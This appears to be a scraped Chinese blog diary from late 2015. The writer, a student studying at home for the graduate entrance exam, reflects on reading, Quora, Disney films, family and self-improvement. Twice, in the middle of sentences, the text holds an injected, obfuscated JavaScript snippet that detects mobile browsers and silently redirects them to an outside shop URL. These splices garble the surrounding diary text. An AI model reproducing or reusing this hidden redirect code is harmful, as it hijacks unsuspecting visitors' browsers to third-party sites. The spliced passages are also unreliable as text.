昨晚是第二天全家跳操，尽力坚持下去。也不懂算不算是我迷信“知乎”，凡是“知乎”大神说的话我都认真去尝试。家里要订阅新一年的杂志，于是我又去到知乎，发现自己知道的太少…《国家地理》是听过的，《Lens》是不知道，《读库》也是一无所知，而我家的杂志订阅居然停留在《意林》……我认为这本95％以上文章都没有咀嚼意义的小龄儿童厕所读物……然后我就分别和父母发表了意见，结局是：妈妈支持，我爸说他觉得《国家地理》没什么意思，《读库》一篇文章那么长，他不想看，《经济学人》既然定位那么高那肯定不适合他…… 我天！说好的努力进步呢？拒绝看大部头的书是他的一贯作风，可是，本就碎片化的知识体系不通过具体完整的综合你如何真正整合？没有一毛钱文学基础就信誓旦旦学哲学，急于和别人吹嘘而不是真正的积累，我深切怀疑只看薄书的人是为了吹虚的资本或消谴而不是提升自己。给自己找了太多的理由和借口。我想到我大学的一个舍友，算是看了几本书，可思想观念却依旧陈旧腐朽的令我不耻……我言重了？不知道，但这样的人无法让我认同和欣赏。妈妈考试结束，在我的推荐下开始看《平凡的世界》，你看吧，这本书被我爸拒绝，到时候进阶快的一定是我妈。 昨晚睡前一直在想，如果小朋友的睡前故事变成了父母或其他孩子在与小朋友同一年龄阶段的日记，事情是不是会变得很有趣？日记是真实的想法和事件，让小朋友了解父母（或他人在这个阶段）的过去的同时，纠正那个时代不正确的念头，比如直接指出妈妈当年那样做（想）是不对的，理由是什么，让小朋友有同理心，也了解了每个人在成长路上都会犯错，也可以敦促小朋友写自己的日记。 说到写日记的本子！读库笔记本逼格不要太高！连笔记本的收藏都可以那么专业，我个弱……找个点，做专业吧！啊，别人看到美好的事物会觉得遥远，我却会想如何把它变为我的现实。 2015年11月17日 星期二 雨转晴 昨天一天，我复习了数学、专业、政治、英语，刷了中东局势，看了《超能特工队》，跳了操，可惜来不及让大山给我讲专业题，也没写影评，但是这种充实丰富的生活让我开心～啊！昨天早上的大便是金黄色的，是我看过的颜色和形状都最漂亮的大便，因为吃了外公种的好吃的地瓜～吃了玉米就会拉玉米粒，不懂是不是在喝中药，大多数大便是深棕或黑色的。 本以为自己先去报刊亭买上几本《国家地理》、《Lens》、《经济学人》再定夺订阅的事，结果，除了《国家地理》，其他类似《读库》根本买不到，第一次知道订阅杂志一年费用可以如此高，《经济学人》800一年，全英文；《Lem》240一年；《意林》96呵……有读书习惯的人越来越少吧，连《国家地理》我爸都认为不好看……我是认为偏学术，所以除非热爱科学和探索，比如我～ 中东问题我做了非常浅显的了解，我天！这么复杂的宗教问题，大开眼界！《超能陆战队》里很多科技理念简直捧呆，不过故事情节，呵呵！从小我就不喜欢太轻易得到的东西，这……这几天想到的应该都记下了。 2015年11月18日 星期三 阵雨 中午睡不着，我又被各种回忆包围，不懂为什么总是会想过去，似乎今天以前的全部生活总有让我不满的地方，我不满意自己过去的表现，在之前的二十二年里，我似乎很少长时间专注于一件事，这里的长时间指100小时以上，我想把小提琴、舞蹈、硬笔书记捡起来，把阅读、探究专业坚持下去，然后用时间丰富我的生命，围绕着那么几个主题。 原来许下一个愿望然后在多年之后实现称为“念念不忘，必有回响。”张佳玮的回答又让我充满希望。我要去英国，去追寻《哈利·波特》、《傲慢与偏见》、《唐顺庄园》！不要忘了去宁波的天一阁，不要忘了去尝试米其林，去看话剧，去水上集市……我有这么多的愿望！人生多么美好。 或许从2016年的元旦开始，我要每年的元旦写一封信给未来的自己和爱人，然后在下一年的元旦打开，看这一年我的期待和努力得到什么样的结果。一切就像重新开始，现在新生的我只有1岁，播下希望的种子，努力耕耘，然后在二十年或又一个二十二年后收获。四十出头，我并不老，我永远不会老～那时候的我一定很棒，比现在捧非常多。 很开心看到时间统计上的数字往上加，一年结束，在1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583540|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6年的元旦会加上“练琴”和“练舞”，那种充实又多彩的生活一定棒呆！多少年来，但凡我听见，看见有人自愿为国家、为民族、为人类奉献，眼泪和内心的感慨便立刻涌上心头，我想我这颗赤子之心终会为这个世界献上一点力量。最近看政治，***和***惊为天人，马克思以及他们总结的规律可应用于生活中诸多小事。学习这种事，学进去了，只能是好事。 2015年11月19日 星期四 晴 总是喜欢在节点上掉链子，比如还差三小时数学就五百小时了！然后这几天我就……现在还是“499”！ 昨天看了《辛普森一家人》和《魔发奇缘》。《辛普森一家》太有趣了！赤裸裸地疯刺，搞笑得不能行。哦，这里插播一下，一是我发现了看的《超能陆战队》字幕不行，美国人在形容一个东西超棒的时候会用“sick”，当然“sick”的本意是“生病”，还可以表示令人不舒服、作呕，但是，当时的情形是美翻、棒呆的！字幕翻译成“糟糕的”，若是为了体现机器人对人使用词语的意思有误，那么也应该在后面注明这样翻的原因，或许我会再看一遍，确认一下这里到底怎么翻比较好，哦，我看的这部只有中文字幕。第二件事，从英剧看回美国片，我的听力瞬间又回来了！《唐顿》真是碾压我听力，我长句子只能听零星词汇，短句子还可以，重点是发声让我超不习惯，但是！美音发音又让我回到家了！尤其是《魔发奇缘》，简单又流畅，更有利于我投身其中。我也明白了为什么大家说《魔发奇缘》的乐佩是最爱的公主，萌爆了！尤金也是逗得一P～剧情简单，但流畅舒服，画面很美，小配角出彩！说到出彩的配角还得是宫崎俊的动画，这种细节确实非常打动人。 现在会觉得去美国之前没有多了解一下这个国家有点遗憾，比如在奥兰多环球影城，那时的我还不懂辛普森一家，可那里可是有整整一大层的卖周边的店啊！省钱…我想，如果以后我们的旅行和这些情节联系起来，是不是会变得更有趣。比如，去迪斯尼，是的，不看迪斯尼去玩也是很棒，可是如果你都看过，了解过，那就是去圆梦，这种可以美梦成美的体验是可以自己创造的，通过自己的努力把乐趣和美好的体验无限放大！我想下次我去迪斯尼见到“乐佩”，一定比上次开心的多！实话，上次看了我是认为无聊的……现在的我绝不会！就像我去“哈利·波特”主题园，开心到不能！ 父母对于动漫还是略抵制，这个我理解，很多事我控制不了，这点我要调整好心态。昨晚和大山有不愉快，每次不愉快的结局就是，发现我们是真爱，当然，起因是我，我的修养和内涵有待提高…… 110.家里蹲考研（10） 2015年11月20日 星期五 晴 最近我又任了自己的性子游荡了几天，看动漫、看视频，写完这篇日记，我要开始进入最后三十五天的冲刺，尽所能不再放松了。 在讲话的时候有时会延伸出一些新想法，有时候不及时记下就忘了，不过要记下我的全部想法太难，我的想法太多了！好了，下面记一些上次忘了记录的。 1、爱一个人就在他（她）身上花时间，因为时间就是生命，你在用生命去爱，有些人说我很爱很爱我的孩子，很爱很爱我的父母，那让他先回答，他花费了多少时间陪伴，然后再谈陪伴的“真实性”。多少人说，啊！放假回来陪家人，结果和所谓同学天天在外面吃饭……你真正愿意为别人花时间吗？对事物的喜爱也是一样的，喜欢就花费大量时间沉浸其中，这就牵出了下一个想法。 2、在一件事上你花费了很多时间，投入了精力，就会产生情感，即对某特定事物的情节，所以你会怀念，会不舍，这便是感情双方为什么要在一起创造许多美好的体验和回忆。有实在的物和美好的回忆，这一切都成为寄托，那么在不愉快的时候想到、看到，便会不舍，这就将两个人紧紧地系在一起。如果这是一个家那么也是一样的，那么家庭幸福之后便有接下来的想法。 3、有归属感的家让人快乐、自信，那么这个人走到外面的世界就更快乐、更自信、更突出、更容易成功，即便遇到困难想到自己身后的支柱也更加有前进的动力，因为从家庭中得到快乐便更乐衷于将时间投入其中，那么家庭氛围的快乐会增长，没有人知道什么是最快乐，快乐是没有上限的，在美好氛围中，可以通过每一个成员的共同努力将快乐感不断提升，这是一个良性的循环。 基于以上，是我的想法：4、我想从我这一代开始，将这种美好的家庭理念以家族的形式一代一代传承下去，让更多的人学会爱，让自己幸福。没办法，从小就超级羡慕那种有家族历史的人，一种文化的传承，哈哈，我可以有自己的家谱，我可以作为一代或二代目～联想到小天狼星家挂在墙上的家谱！ 最近刷知乎的形式有所改变，是发散性的网页搜索，而不是以前登录帐号只看我感兴趣的问题，这样我的视野开拓了很多，窥见了一切我以前不可能知道的事。比如今天的脱衣舞娘蒂塔，嗯，是艺术的表演，很美！我以前太轻易去否定，去下定论，我愿意花时间去做各种尝试（比如看蒂塔视频花了一个多小时，了解脱衣舞背景也花了时间……），但正是因为我热爱这个世界！ 刚和我爸一起看了《美女与野兽》，依旧是简单的主线和立意，但让人有很不一样的感受。这是91年的动画，但却制作精良。这是我补的第二部迪斯尼公主系列，贝儿，爱看书的女孩，因为爱看书被当作异类，但因为美貌被人垂涎，爱是要去看内心的，所以最后美女会与野兽在一起。当初在迪斯尼看了真人版的《美女与野兽》，真是怀念。 现在的我终于开始有了自己独立思考的想法，而不是只能引述我赞同的他人的观点，不过，我现在算是在看动画补童年吗？每看一点什么就可以给我好多的启发，每一部动漫也是激发我万千的感慨，那些超棒的点子为什么我想不到？有时候想了好久，终于有了新的想法，结果先人在千年前就悟出了道理，不过每个人都活自己的一生，道理别人讲和自己悟是不一样的，迪斯尼的公主故事和我想的很不一样，这种定式思维与现实冲突的惊喜也很有趣，不是吗？乐佩、贝儿，我新喜欢的两个公主，真是美好～小茶杯阿齐好可爱～ P.S.大山说“刚开始只能说别人的观点，现在可以全是自己的”这个境界有点像写SCI了，全是自己的想法，一般的论文就是小抄小改，我超开心可以，终于！我慢慢形成了自己的思想体系，而这也是大多数人一生都学不会的，体系一旦形成，完善之后将运用到生活的各个方面，而我也将成为我所期待的真正独特的那个人。 还有，书和影视作品真的要自己去看，然后体会，这种感觉棒呆了！艺术的伟大！ 2015年11月21日 星期六 阵雨 中午饭后我靠在沙发上，查着乐佩的图片，在想我像是迪斯尼里的哪位公主。傍晚坐在茶几边犹豫了很久，看了皮克斯的《勇敢传说》，原来我和梅莉达一模一样，是我不喜欢的公主，看到片尾我已不自觉哭了起来，是悔恨。在改变之前，我就那样，自负、说刻薄的话、做鲁莽的事。这部评分只算中等偏上一点点的电影却对我意义非凡。我看到了自己当年的无知和浅薄，感谢我的母亲从未放弃过我。女巫对梅莉达说的咒语也同样适用于我:“ fate be changed，look inside, mend the bond, torn by pride.”改变前后的我。 在这之前我便想过，以现在的我为起点，重新成长一次，新的成长记录将从2016年1月1日开始，会详细记录我看过的书、电影、动漫等等，我都会写评、然后把之前看过的动漫和电影也整理一下，经过系统整理，我可以知道自己真正的喜好，擅长的领域，还有时间都花在了哪里，我不想白活。 迪斯尼擅长根据已有的故事改编，皮克斯善于凭空创造全新的世界，梦工厂则负责颠覆。我这种人到目前为止擅长的和迪斯尼一样，可以在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715504|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前人的基础上做得更好，想出新花样，但是！完全的颠覆似乎还不行，呐！路这么长，加油往下走！ P.S.我发现现在慢慢地看剧不会只看脸了！会因为剧情，人物的性格而喜欢上不算喜欢画风的人物，好吧！仍旧爱漂亮的脸…… 2015年11月27日 星期五 晴 总是有太多的心血来潮，中午总是期待美美睡上一觉，却又害怕真的睡着用掉大半个下午。为了找出自己是何时开始刷知乎，我翻看了13年的日记，知乎2013年3月向公众开放注册，我的日记在12月19有了第一篇关于知乎的记录，也就是在2013年底，第12个月，也就是向公众开放十个月之后……2014年这一整年，我接受了知乎从内到外的洗礼，从2015年春节后，发现知乎有下滑迹象，据我的知乎主页显示，我的最新动态是九个月前，我算是相对较早开始知乎的人，不过看这时间，不够早！重点是我居然对这种事好奇…… 惊喜是看日记发现，2013年10月到12月中旬，我在疯狂阅读，几乎每一篇日记都是书评，大概两个半月，我读了十四本书这样，然后，发现自己记错了一句话的出处，还有那时候我的思想已具有可读性，最后，其实我的情绪一直在波动，就没几天可以安静学习的……这点一直没变。 我现在重复去看日记、以前收藏的问题等等，终于！保留下来却不再去看，那为什么要留下来呢？反复是很有趣的～我应该充分利用自己已有的资源，投入到我已经花过时间和精力，有一定了解的方面。很多缺点还是要克服。别人的行为不符合我预想要学会摆正心态和包容，我很高兴中午在气头上还做了思考，反思了自己的错误，压制怒火没有转稼到父母身上。 中午泡脚回房间，我听到小孩在歇斯底里地大哭，他的母亲也在冲他吼叫，我心疼他。我想我以后会告诉我的孩子如何正确对待“哭”，哭可以作为一种解压和宣泄，而不是达到目的手段，我会先让他哭、发泄，而不是像我小时候我母亲对我说“不要哭了，让别人听见还以为你干嘛了。”太在意别人的评价是无意义的，尤其是对于小孩在哭这件事。此外，以身作则，让孩子学会勇敢承认自己的错误和不足，然后一起积极改正，而不是给自己找理由。 分两天我看完了《玩具总动员1》，我感觉很一般，创意是不错，但总觉得不能打动我。忽然想到，现在看13年的日记觉得还不错很可能因为进步还不够大吧！话说隔壁中学怎么可以有这么多活动……天天都在唱歌，重点是难听…… 啊！忘了！终于知道Quora的正确读音。最近阅读总结是：英语学好是王道！ 111.家里蹲考研（11） 2015年11月29日 星期日 阴 最后今晚我决定不跳健身操来写日记，本该早就完成的日记我拖到现在。 晚上看了三集《平凡的世界》，我越发感到：群众是盲目的，愚蠢的，而我，也是群众。我感到我家庭的局限性，父亲从某种方面来说能力缺失，不能适应新的恶劣混浊环境，不明白，只有忍辱负重先爬上高位才能为人民做更多的事。我不怪父母，他们已经比同时代同出生的大多数人优秀，超越了几代人，也明白这几个年代间思想上的差距不是我在家待一年说几句话就可以解决的。当然，我父亲常常出门就忘了在家刚说的话，我理解这种转变上的困难，但我要跳出这种限制！我努力，不再为我尽力却改变不了的局面难过，也再不去为我管不了，影响不到的事烦恼，决不去理会我所“看不上”的亲戚的家长里短，血缘不由我决定，但若是与他们的瓜葛拖累我，我决不做！成大事者不为这种事羁绊，再说句难听话，我父亲这边亲戚又有几个为我家想过？这不说，他们提出的要求也不知间接害了几多人！这算是我最后一次用宝贵时间抱怨这，以后不再有，怎么做我心知肚明。 11月27日晚23:16，我安装好Quora截图给大山看。2010年6月21日，Quora向公众开放，而我晚行动了五年半……第一个看的问题我觉得一般，第二个问题：“你们国家早餐吃什么？”这是第一次，我感到打开了新的格局！全世界和我离得如此之近，我看着各个国家的人用图片配文字描述自己的早餐，激动得不能自已！这是我的新世界！ 贵的瓶装水和便宜瓶装水的区别让我多认识了几个水的牌子，这明白了市场空位，意识到以前自己的无知。我曾买过多种牌子的水尝试想一—记录下它们的口感，原来世界上也有人做过，还不少！不过我们确实没尝出什么差别……但是充了氧确实口感更好。在“知乎”上我未曾体会到多角度回答，（可能我水平不行），可是在Q上，我切身感受到了多种答题视角，全新的体验！目前浏览了两个关于“中国偏见”的问题，我的内心是很复杂的，我非常赞同一个外国答者说，这种愤怒（对于别国人对中国的偏见）源于中国是一个刚崛起的大国，青年的愤怒带有一点英雄主义！当然我知道，我的内涵还不够。关于其他问题的浏览确实充实了我！今天也认真看过Q的使用手则。还有，Q里自带的查词功能是我用过的最棒的词典，标明单词用法，以最简洁的页面呈现！对于Q，爱不能更多！ 但是！还有27天考研，这几天状态……去年是因为肯定复习不完放弃，今年我觉得反正可以夏习完……调整啊！调整多少次了……刷Q不能超过1小时每天，加油读吧！（我怎么记着上篇日记也是说要读啊！哎……）考研是大事…… 2015年12月2日 星期三 阵雨 连续几天来我第一次体会到大山以前所说的“眼睛痛”的感觉，干的刺痛，难受！话说也没多努力复习考研，估计是长期积累的“复习、电视、手机”吧！ 但凡我去看病，难得听医生说过我好转，都是说：“还不行，不太好，很不好……”之类的话，记得早前一次去姜医生那，也就是今年，他说我明显地好转。周一下午去宣医生那里，她让我给她看舌头，她说“气色不错。”天哪！终于！我越来越好了。 本来一直想做个记录却总是忘记，今年过来确实有转变。不管怎么说，从15年过来，先是用手环强制运动（从2月8日到9月4日），虽然有不达标，但每天都有努力运动，后期因为体力吃不消停了，但是从11月9日，也就是休息了两个月这样开始每晚跳操（郑多燕）。这样就是说，从高一以来，这是我运动最多的一年。这是第一点； 第二，从开始强制运动以后，我也开始强制早睡，每天12前就算达标了，11点30前算非常好了（很少，尤其是后期……），我一个月至少半个达标，这也是自高一以来做的最好的一年； 第三，这是我吃中药调养时间最长的一年，前期算一般，后期以9月21日开始吃药到今天未停，中间最多停一天； 第四，泡脚，用大木桶泡脚，3月22日到4月5日，有间断，再从10月7日到今天，几乎无间断天天泡脚； 第五，早上起来在床上箍牙，搓脸之类，然后喝一杯水。结果就是，我从什么时候开始的忘了，我可以每天拉屎一份～这几天感觉体力变好了，气色更好这是看得见的。身体真的是太重要，在25岁开始衰老前，一定要恢复正常！ 昨晚躺在床上一直在想，我是不是要把15年的记录全部删除，从16年开始重新统计，总感觉现在的项有点乱，从16年开始可以每年做一个整理，我想一直做到1000小时的项目不做删除，但每年都会有要删除的和添加的项，毕竟今年第一次用，有些想法不够完善。 昨天在Q上看到问题：“读完1000本书什么感觉？”反正我越发认识到自己是一头小弱鸡。大部分大牛是从1岁、2岁、4岁开始阅读的，按照大山的估算，2天一本，一年200本，看50年……我目前的巅峰是大三一年38本书……其中10月到12月看了14本这样……我现在看过的书大约是150本＋…主要是大学以前没做记录，也没写书评，也说不定我去回翻日记可以发现点什么，怎么说呢，Q上的阅读问题是我超兴趣的部分，至少还让我发现了两个和我生活理念相同的人！阅读是间接经验获得的绝佳渠道，有一大牛说的特好：“1000本小说让你意识到人和人之间如何关联，你所说所做所想怎样影响别人；1000本非小说让你意识到世界的错综复杂和联系是多么美妙，数学、科学甚至艺术作品的美，读1000本非小说去获取知识，读1000本小说去获得丰富的生活体验”（我翻译的不错～）我又想到，我除了记录自己的书，还应该进行归类整理，包括动漫、电影、电视剧都要这么做，反思自己的过去帮人进步。 说到这个又必须提到今早“晓然”推送的翻译好的Q：“最高效的学习方法是什么？”我根据答主的回答思路来分析我自己已做的部分和不足。一共是“十步”学习法： 1.热爱它。这点我是有明确意识的，也努力在做； 2.读懂它，这点我有模糊认识，现在会更清晰，我以前想过去反复看课本，只是一个行为，没有抽象出理性认识。（我天！这是我对马原的第一次实际运用！）我这里想说答主用的例子：博比·菲舍尔，国际象棋大师，大约十二三岁消失一整年，20几岁又消失一整年，他去研究上个世纪（18世纪）的每一场比赛，又为了读懂俄罗斯象棋杂志学了很多俄语。我想说的是，二师兄是唯一说过，我今年这样“人间蒸发”是很好的事的人，这是一种沉淀和积累，这也要很沉得住气，不然每次大事一发生就又要跳出来了，接下去，我仍打算沉寂下去，因为我还没让自己满意，博比出现之后可是得了世界冠军； 3.勇于尝试，不过别太拼。我觉得这点我还是做的不错的，答主也强调了“反复”的重要性，他的一句话超棒：“幸福的秘密不是有多伟大，而是“成长””； 4.找个老师，这个我深谙其道～； 5.研究历史，研究当前。这点我只算有隐约意识，答主这里有强调读经过时间考验的书，这点我在看村上春村作品（哪本忘记了……）就认同并感悟，写下每一次阅读的收获，我正在做 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我连剪个手指甲都拖了起码三天……中午睡不着，最近躺着就睡不着，满脑子关于考妍结束后2016的计划，这里插播一下，连续几天，我坐在房间都闻到一股新鲜的羊大便的味道从阳台飘来。关于2016，我要对自己从前的一切做一个大整理，以迎接新的自己以及搬家！尤其是书，我打算捐赠，县城的公图、偏远山区的小朋友，这些我曾想要追求的东西，现在却又要收拾干净。人确实是在不断变化的。极简，我不求极致，但也努力不为外物所累，除了书便是衣服和鞋，这些我已经有了大致的想法。杂物，不用的就给需要的人吧！整理思想，对未来我的东西进行新的规划。照片夹，以后按年份归类，明年开始，目标是身体、英语、专业等等，关于ihours项目的设定我仍旧没想好，感觉不把这些细节记下来我真是会难受死…… 服了我自己，从小我就喜欢做计划和安排，在期末考前想好假期做什么，在中考前想好那个大假做什么，高考前想高考的假期，在考研前想考研以后做什么，这么多年，我没变……当然，计划的执行情况很糟糕，不然我父母也不会说我以前没毅力，这又恰是我最讨厌的评价，没有之一，人果真是讨厌听实话的……高考后的那个暑假是相对来说最不错的，大二的暑假因为在美国，这么多年来，我妄图自己可以利用假期超越别人，呐，我早就有这种好的意识，只是行动力为渣………今年过来确实情况改善了很多，人生目前最努力一年，时间统计确实是帮了我大忙。现在我仍在纠结明年应该比今年每天多学习半小时还是每周多努力1小时，这时我又想起了从小到大的我做的各种信誓旦旦的安排表……好像结果只有一种，我想做了就做了，不过多少就算是一种参考了。 忽然想到，其实高中还有大学时期我身边有人在做我现在（或准备）做的事（都是高中的校友），一是疯狂看书，逛豆瓣，她是二班的，我居然现在才反应过来她的超前！我是猪……二是疯狂记日记，也看很多书，她和我同班，我也是现在才意识到她的努力……我……果真是自己想通才有用，没到境界，就算人家给你看了都不懂。 我现在肯定只是在上升的某一阶段，我也不知道自己可以上升到多高，但我会一直努力。然后，我今天终于可以开始考研复习…… P.S.又想到，一天什么事都不做很快也就过去了，那种一天0.5小时的统计希望以后不要再有了。从未这么清晰地感到时间这样流逝，我想要充实的每一天！不过每天懒散地游荡好放松啊～嗯，这应该也是我写日记最多的一年，想法多的像要爆炸一样，多的没法睡觉是事实，也许是量变之后的质变吧！我就是想不断地感慨：这一年我身上到底发生什么！以此为基础，2016一定会更好！更进步！ 112.家里蹲考研（12） 2015年12月6日 星期日 多云 时间再过久一点估计很多想法都要忘了……首先！在Q上刷的问题，啊！太多有意思的了，挑几个印象最深的吧！“《哈利·波特》里哪些伏笔让你觉得很妙？”这个问题的回答让我惭愧……他们说的我都没有发现……然后发现我真的只是个伪哈迷……他们的发现都好棒！值得我反思的是，作为我所喜爱的东西我的了解都只是如此浅显，我真是应该学会反复、专注和深入，不需要多，找到一两个点即可。今天的问题是“教授如何看待课上睡觉的学生？”好几个教授都让我感到有爱的不行，我心里一阵激动，希望自己有一天也可以成为优雅的人。 偶然一瞥的一个问题：“我如何超过各方面都比我优越的人？”我也只看了一个答案。“态度（超想去超越的态度）是很棒的，一定要耐心，缓慢而平稳地赢得这场比赛，给自己十年时间，你可以比那些人做的更好。”这句话是对我想法和行动的最大肯定，感谢为我打开新世界的大门！ 我热爱去分析他人的成长环境以使我更好理解和包容他们的缺点，我发现这点我父母非常受用，他们，不，每一个人都太需要一个愿意倾听他们故事的人，而孩子又往往是最被期待的那个人。很显然，我做到了，我善于去引导父母说出他们的过去，然后就此分析这些小事以及大环境对于他们性格和品质的影响。当然，现在我的父母已经不用我开口便非常主动并乐意地讲起他们的过去，并且自己适当分析这些事对于自己性格的影响。我们一家人相互倾诉着，对我们每一个人都是一种宣泄和解脱，也帮助我们更好地理解彼此。而这次，我甚至说到了爷爷。他是如此的自私，但却可以理解，从小不被父母重视，从未被他人正眼相待，若是不自爱、不自私、不为自己想，就再没有他人为他想了，这是生存的本能。我父亲的自私和爷爷如出一辙，但他幸运地遇见了我母亲，一个有思想有能力有意识去帮助我父亲改变的女性，有人扶助的人生是幸福的。 除此之外，我会想帮助我父亲去体验那种他期待的惬意时光，爱人、休闲的聊天，再加上一个舒适的自然背景。我想了另一件事，或许在开始研究生生活之后我会被论文淹没，那么今年往后，抓紧时间阅读吧！ 我似乎仍旧想再次记下我的一切越来越好，啊！《唐顿庄园》第二季完结，马修和玛丽终于在一起。人生短暂，面对真爱就不要犹豫了，我们又有几次可以后悔？啊，他家的奶奶实在是太可爱，在如此高龄仍可以灵活改变自己以适应新的环境，这样的人永远出彩。 最后一个是关于考研数学复习的事，我发现在三遍重复之后我真的可以理解以前不会的题目，反复、反复、反复！一定可以学会的不是吗？我感到幸运和骄傲。积压了几天的事应该是都记下了。 2015年12月7日 星期一 阴 昨晚在泡脚的时候忽然记起一些往事，然后那些我从未认真细想过的事被我联系在了一起，像是后宫剧的感觉，过了N年发现自己被坑……这也成为压死骆驼的最后一根稻草，友尽。我发现我当年真是无知单纯的可以，对人完全不设防（现在也是……），还到处讲别人傻，我自己才是大傻……我总是舍不得放弃自己的感情，过了这么多年，总算是放下了。要十一年了，从开始到结束，真心感谢那些用真心回应我真心的人，时间让人收获友情。昨晚在回忆中提到一个细节，就是朋友和你聊天只说八卦，我得出的结论是：“因为说八卦不会透露自己的生活，最安全，现在认真想想，在一起只说八卦的人一定不是那种相熟，因为没有交集，又不能交心。”又一人生教训！我父母看人实在是准！不过也未曾想过我会自己领悟。 说到过去，我一想到就头大，我仍旧很难接受自己所有的过去，那么多的愚昧和无知，所以我才现，自己和过去的一些人重新接触时（一般我会主动），总会带有歉疚或感激的情绪，除过这两种情绪，我一般不和过去的人发生联系。以现在为基准的过去，同龄人里有三个例外：J、浩子、向阳哥哥，我们的联系只基于友情，我珍重的友情，大山那是因为他身兼数职，就不列在这里讨论了。若是我要在脑子里努力搜寻才可以找到的人，也不提了。 昨晚还想到了一件事，关于反面的声音。出现了一个新事物，我们一定要学会去听正反两种声音，即使你已经支持了其中一种观点，但也仍有必要去了解对方的观点。所以如果一本书的评论答案里只有支持观点，那么丢掉它！以后我在Q上浏览答案也是同理，这样帮助我更加客观。 今天还是想写关于考研复习的事。政治，我似乎真正开始去理解一些概念，这次是“金融寡头”及其在经济中的“参与制”。政治上的“个人联合”和“政策咨询机构”来掌握新闻科教文化来左右和影响外交与社会生活，我联系到的是默多克和布莱尔，我发现以前对于书本的学习永远是书上是书上的，我们从未认真理解，现实是现实，我们无法理解，可是，其实只要把书中的理论和实际生活中相联系，这两者都可以理解了。 是的，这是先人早在千年前、或百年前就讲过的道理，可是，作为一个个人，别人讲道理和自己有所领悟是不同的。道理就像是客观规律，人们去发现却无法改变，每个人都应在自己的人生中自己去发现一次，这样，对个人来说这个道理才能真正被认知和体会，而不是与自己行动脱节的理论。所以，我们不必去感叹人们在千万年前就发现了规律，应该感谢他们让你已知了这个规律，帮助你更好地更方便快捷地去体会一番，然后，也应幸庆自己在这样一个年纪也有了自己的体会，总结起来就是：感谢先人留下的规律为我们作指引，我们要做的便是认真去实践这些规律，然后自己再把这些规律思考一遍，内化为自己的能力。 我好像还是没有太好地解释我的想法……打个比方，就像是人人都玩一个游戏，情景类游戏，“仙剑”好了。每个人都得玩，因为这是你的人生，规则是固定的，人人都看得到写出来的规则（规则好比客观规律），闯关模式却不固定，而且看到规则不意味理解规则，在玩游戏的过程中会帮助闯关人理解规则，违反规则会失血，甚至死，得别人来救，来救你的人最好是比你懂规则。没写出来的规则就可能是隐形关，待发现，即使又被发现成为新的规则，仍旧得自己闯一遍，我尽力了…… 啊！我昨天漏了一个点！关于哈利波特和我的共性。哈利的心思大都不在课业上，而是各种极富挑战的“课外活动”，爱管各种闲事，对于自己兴趣的科目还是学的不错的。我简直了！考研还剩19天，然后每天坐在这里思考我自己的人生哲理，重点是我认为自己的这些想法无比重要！考研相比之下就……我脑子里是装了些什么？ P.S.我认为这已经有点理论论证理论的意思了，有点哲学的味道了，真的！ 2015年12月9日 星期三 雨 还剩17天，但实际上可以学习的只有16天，我终于开始真的担心起来，可是，我的表现……昨晚我看了一个晚上《芈月传》，原定是要把上午做的数学卷子消化一下的，长时间看电视确实很疲劳。昨天上午的那张数学卷做的也是糟糕……时间不等人，考研的事不能再马虎了，其他的事暂放一边吧！ 昨天中午我兴奋得睡不着，在Q上刷了几个问题之后牵联出了很多想法，（这里插播，感觉事情果真是要及时做，昨天没写，今天写想法的激情就减半了，因时脑子里还一直是考研复习的问题，我低下的自制力……）好吧！开始：之前我误删一个未看问题：“一遍又一遍读同一本书有意义吗？”我很努力去找回，失败……Q上每天更新问题太多，我已经知道这样（一遍又一遍读同一本书）非常有意义了，加上被更多其他问题吸引，慢慢我也不再纠结。 伯克利的物理教授回答了“在大学如何取得好成绩？”，这个我需要反复看的答案。由于这个教授是Q上的大牛，于是我好奇地去百度他，便牵出了知乎上的问题：“Q上都有些什么大牛？”我以前只是隐约知道Q是精英，可是，这个问题让我清楚地知道是段位怎样的精英，几乎包括了各领域的活着的奠基人、创始人、带头人，重点是，这种人绝不只在一个领域牛逼！至少有两个方面是强项，是的，Q上还有奥巴马，但他在Q不算大牛。 昨晚《芈月传》对公主的培养让我不能忘：在广，不在精，什么都会，都见识过，做到优秀，可以表演表演，看得懂，欣赏的来，会评论，所谓通才。我的父母在我小时候已是尽其所能让我广：幼儿园学画画和舞蹈，小学学书法、主持、舞蹈、小提琴，还培养我阅读和写作，可惜的是初中、高中没有很好地延续。高考结束又去学了素描、舞蹈、小提琴，还专门去培训了英语面试，这里我忽然想到，小学我还专门在数学老师家学奥数。啊，从那以后我永远在补数学，现在也是…… 拉远了，所以我犯了一个错误，为了准备考研而长期停掉阅读课外书，然而我把这些时间拿去看影视作品了。就这点来说，也是因为这样我才开始对影视作品有了新的认识，优秀的影视作品也是有必须接触的，但我想说的是一个观念上的错误！一个人真正优秀，要求是很高，做专业只是其中的一部分，（看了越多的知乎、Q、杂志和碎片知识越发现，没有人会觉得一个只会专业的人优秀，人们的评价大都是：专业好！他很会做专业！或是他在这个专业上很强！人们会去强调那个领域，然后印象往往是“呆板、怪人”之类。然而对于至少在两个方面出彩的人，人们便毫不 